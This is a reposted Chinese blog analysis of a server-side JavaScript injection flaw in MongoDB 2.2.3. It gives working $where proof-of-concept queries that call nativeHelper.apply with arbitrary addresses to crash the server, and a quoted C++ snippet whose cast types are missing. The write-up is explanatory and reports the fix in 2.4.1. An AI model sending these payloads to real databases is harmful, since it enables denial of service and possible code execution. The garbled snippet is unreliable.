博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
MongoDB服务器端的JavaScript注入
阅读量:2437 次
发布时间:2019-05-10

本文共 2612 字,大约阅读时间需要 8 分钟。

安全研究者agixid在MongoDB数据库2.2.3版本上发现一个安全漏洞,并且表示Metasploit利用payload正在开发当中。该漏洞主要是MongoDB不正确的使用SpiderMonkey  Javascript的NativeHelper函数,导致可以注入代码或缓冲区溢出执行任意代码。

以下为研究者带来的一些分析。

首先在MongoDB中尝试一些服务器端的JavaScript注入,尝试运行一个shell。

> run("uname","-a")Sun Mar 25 07:09:49 shell: started programsh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux0

以下这个命令只能在mongo客户端才有效

> db.my_collection.find({$where:"run('ls')"})error: { "$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run is not defined nofile_a:0", "code" : 10071}

 

研究者继续深入尝试

> runfunction () {    return nativeHelper.apply(run_, arguments);}

 

运行<run>函数,在服务端直接调用 nativeHelper.apply(run_,["uname","-a"]); ,返回信息提示nativeHelper.apply方法存在。

> db.my_collection.find({$where:'nativeHelper.apply(run_, ["uname","-a"]);'})error: {	"$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run_ is not defined nofile_a:0",	"code" : 10071}

 

将一个关联数组用到服务器端

> db.my_collection.find({$where:'nativeHelper.apply({"x":135246144}, ["uname","-a"]);'})Sun Mar 25 07:15:26 DBClientCursor::init call() failedSun Mar 25 07:15:26 query failed : sthack.my_collection { $where: "nativeHelper.apply({"x":135246144}, ["uname","-a"]);" } to: 127.0.0.1:27017Error: error doing query: failedSun Mar 25 07:15:26 trying reconnect to 127.0.0.1:27017Sun Mar 25 07:15:26 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017

结果显示:The server crashed \o/ ! (崩溃)

查看看一下其源代码

路径:./src/mongo/scripting/engine_spidermonkey.cpp

JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) {        try {            Convertor c(cx);            NativeFunction func = reinterpret_cast(                    static_cast( c.getNumber( obj , "x" ) ) );            void* data = reinterpret_cast
( static_cast( c.getNumber( obj , "y" ) ) ); verify( func ); BSONObj a; if ( argc > 0 ) { BSONObjBuilder args; for ( uintN i = 0; i < argc; ++i ) { c.append( args , args.numStr( i ) , argv[i] ); } a = args.obj(); } BSONObj out; try { out = func( a, data ); } catch ( std::exception& e ) {

原函数的功能会从”x” : 135246144调用至JavaScript对象不带任何检查。

> db.my_collection.find({$where:'nativeHelper.apply({"x":0x31337}, ["uname","-a"]);'})Sun Mar 25 07:20:03 Invalid access at address: 0x31337 from thread: conn1Sun Mar 25 07:20:03 Got signal: 11 (Segmentation fault).

MongoDB已发布最新版本2.4.1修复了该漏洞,

[感谢LinuxSpace投递 via  ]

转载地址:http://vghmb.baihongyu.com/

你可能感兴趣的文章
黑客软件最常用的连接端口一览(转)
查看>>
解决无盘多机启动慢的方法(转)
查看>>
检查字符串strSource是否为big或big5码(转)
查看>>
EXCEL读取与写入数据的最佳方案(转)
查看>>
windows运行命令详解(转)
查看>>
sql语句插入的数据中含有单引号怎么办(转)
查看>>
RJ45接头接法(转)
查看>>
将数据库的内容放到下拉列表中(转)
查看>>
突破网吧及机房管理限制的方法(转)
查看>>
WAP 2.0--XHTML mobile profile(转)
查看>>
Platform Builder之旅(二)(转)
查看>>
GFP:新一代多业务传输技术(转)
查看>>
安全至上:7月11日值得注意病毒列表(转)
查看>>
How to Use DBMS_SUPPORT Package(转)
查看>>
在Win2003中配置SNMP服务的网络安全(转)
查看>>
如何彻底保护你的网站不受RDS攻击的威胁(转)
查看>>
提高网站在Google中的排名——面向搜索引擎的网站设计(转)
查看>>
SQL Server 存储过程的经典分页(转)
查看>>
SMS基本概念和移动通信系统介绍(转)
查看>>
匿名FTP的安全设定(转)
查看>>